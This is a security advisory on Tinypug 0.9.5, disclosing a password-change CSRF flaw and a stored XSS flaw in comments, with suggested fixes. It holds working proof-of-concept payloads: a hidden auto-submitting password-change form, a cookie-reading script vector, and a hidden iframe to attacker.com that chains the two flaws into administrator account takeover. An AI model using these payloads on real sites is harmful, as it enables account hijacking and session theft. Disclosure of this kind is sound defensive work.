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# AmnPardaz Security Research Team
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# Title: Tinypug Multiple Vulnerabilities
# Vendor: http://platformassociates.com/
# (project hosted at http://code.google.com/p/tinypug/)
# Vulnerable Version: 0.9.5 (and prior versions)
# Exploitation: Remote with browser
# Fix: N/A
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- Description:
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Tinypug is a system for building portals that enable innovation communities
and customer inquiry.
The idea is to go beyond one-off statistical surveys (which tend to only
verify an existing paradigm) to foster real collaboration, scalable two-way
communication, and anecdotal feedback from users/customers.


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- Vulnerability:
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+--> CSRF (Cross-Site Request Forgery)
The password changing page is vulnerable to CSRF attack. This
vulnerability
can be used to change the password of the victim. For details of this
process see "Exploits/PoCs" section.

+--> Stored XSS Vulnerability
The comment page is vulnerable to Stored XSS attack. But comments
will be published
only after administrator confirmation. However this XSS vulnerablity can
be
used in conjunction with the more serious security whole (CSRF) in
order to change
administrator's password.

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- Exploits/PoCs:
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+--> Exploiting The CSRF Vulnerability:
As any CSRF attack, you need victim to be logged in at target site,
namely "victim.com",
and visits the attacker's site, namely "attacker.com".
Then attacker can change password of the victim (for example to
"the-new-password")
by presenting following code at attacker.com site:
<div>
<iframe id="if1" name="if1"
style="display:none">
This frame is invisible!!
</iframe>
<form
action="http://victim.com/tinypug-0.9.5/profiles/change_password"

method="post" id="the_form"
style="display:none" target="if1">
<input type="password" name="password"
value="the-new-password" />
<input type="password" name="password2"
value="the-new-password" />
<input type="submit" value="Change Password"
/>
</form>
<script type="text/javascript">
//<![CDATA[
var $form = document.getElementById ('the_form');
$form.submit ();
//]]>
</script>
</div>

+--> Exploiting The Stored XSS Vulnerability:
Simply go to the comment page of a post
(for example at
"http://victim.com/tinypug-0.9.5/stories/view/welcome#comments")
and embed any desired XSS vector like
<script>alert(document.cookie)</script>
But be aware that comments will be reviewed by administrators before
publishing.

+--> Changing Administrator Password by combining above
Vulnerabilities:
Using the Stored XSS attack, make administrator to see following code:

My comment !!! <iframe id="f2" name="f2"
src="http://attacker.com/csrf.php" style="display:none"
/>

Then whether he/she approve your comment or not :) his/her password
will be changed
to "the-new-password" via CSRF attack by visiting implicitly
the "http://attacker.com/csrf.php" URI.

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- Original Advisory:
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http://www.bugreport.ir/index_67.htm

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- Solution:
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For CSRF vulnerability password changing page must be changed in order
to ask for the old password, too.

For XSS vulnerability you could include all of the comments in the
approval page by <xmp> tag.


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- Credit:
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AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com

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